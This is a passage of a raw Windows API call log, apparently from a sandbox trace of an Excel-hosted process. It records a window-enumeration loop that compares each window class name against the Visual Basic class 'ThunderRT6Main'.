26 [0154.356] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0154.356] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0154.356] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.356] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.356] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0154.356] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0154.356] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0154.357] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0154.357] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.357] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.357] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0154.357] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0154.357] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0154.358] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0154.358] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.358] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.358] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0154.358] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0154.358] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0154.359] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0154.359] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.359] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.359] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0154.359] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0154.359] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0154.359] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0154.359] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0154.359] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0154.360] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0154.360] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0154.360] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0154.360] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0154.360] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0154.360] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0154.361] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0154.361] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0154.361] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0154.361] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0154.361] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.361] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.362] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0154.362] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0154.362] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0154.362] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0154.362] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.362] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.362] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0154.363] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0154.363] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0154.363] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0154.363] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.363] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.363] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0154.363] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0154.363] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0154.364] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0154.364] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0154.364] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0154.364] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0154.364] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.364] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.365] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0154.365] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0154.365] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0154.365] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0154.365] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.366] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0154.366] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0154.366] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0154.366] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0154.366] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.367] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.368] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0154.368] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0154.368] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0154.368] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0154.369] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0154.369] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0154.369] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0154.369] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0154.369] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0154.369] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0154.369] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0154.369] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0154.370] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0154.370] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0154.370] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0154.370] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0154.370] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0154.370] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0154.371] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0154.371] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0154.371] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0154.371] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0154.371] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.371] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.372] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0154.372] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.372] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.372] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0154.372] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0154.372] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0154.373] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0154.373] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.373] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0154.373] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0154.373] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0154.374] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0154.374] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0154.374] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0154.374] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0154.374] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.374] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0154.374] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0154.374] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0154.375] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0154.375] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0154.375] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0154.375] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0154.375] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0154.375] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0154.376] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0154.376] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.376] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0154.376] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0154.376] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0154.377] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0154.377] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.377] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.377] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0154.377] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0154.377] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0154.378] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0154.378] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0154.378] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0154.378] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0154.378] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0154.378] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0154.497] GetCurrentThreadId () returned 0xbdc [0154.497] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0154.497] GetDesktopWindow () returned 0x10010 [0154.497] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0154.497] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.498] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0154.498] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.498] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.499] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0154.499] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.499] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.499] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0154.499] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0154.499] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0154.499] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0154.500] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.500] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.500] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0154.500] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0154.500] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0154.500] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0154.500] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.500] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.501] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0154.501] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.501] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.501] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0154.501] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.501] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.502] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0154.502] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.502] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.502] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0154.502] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.502] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.503] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0154.503] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.503] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.503] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0154.503] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.503] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.503] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0154.504] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0154.504] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0154.504] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0154.504] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.504] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0154.504] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0154.504] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0154.505] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0154.505] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0154.505] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0154.505] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0154.505] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.505] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.506] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0154.506] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.506] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.506] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0154.506] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0154.506] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0154.507] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0154.507] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0154.507] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0154.507] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0154.507] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0154.507] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0154.507] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0154.507] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.508] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0154.508] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0154.508] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0154.508] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0154.508] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0154.508] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0154.508] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0154.508] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0154.508] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0154.508] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0154.508] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0154.508] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0154.509] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0154.509] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0154.509] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0154.509] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0154.509] GetClassNameA (in: hWnd=0x140264, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0154.509] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0154.509] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0154.509] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.509] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.510] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0154.510] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0154.510] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0154.510] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0154.510] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0154.510] IsWindowEnabled (hWnd=0x20360) returned 1 [0154.510] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0154.510] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0154.510] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0154.511] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0154.511] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0154.511] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0154.511] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0154.511] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0154.511] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0154.511] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0154.511] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0154.511] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0154.511] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0154.511] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0154.511] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0154.511] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0154.511] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0154.511] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0154.511] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0154.511] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0154.511] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0154.511] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0154.511] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0154.511] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0154.511] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0154.511] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0154.511] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0154.511] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0154.512] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0154.512] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0154.512] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0154.512] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0154.512] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0154.512] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0154.512] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0154.512] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0154.512] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0154.512] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0154.512] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0154.513] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0154.513] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0154.513] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0154.513] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0154.514] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0154.514] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f79050 [0154.514] IMalloc:Free (This=0x7fefecb5380, pv=0x4f79050) [0157.304] GetAsyncKeyState (vKey=27) returned 0 [0157.304] GetCurrentThreadId () returned 0xbdc [0157.304] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0157.304] GetDesktopWindow () returned 0x10010 [0157.305] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0157.305] 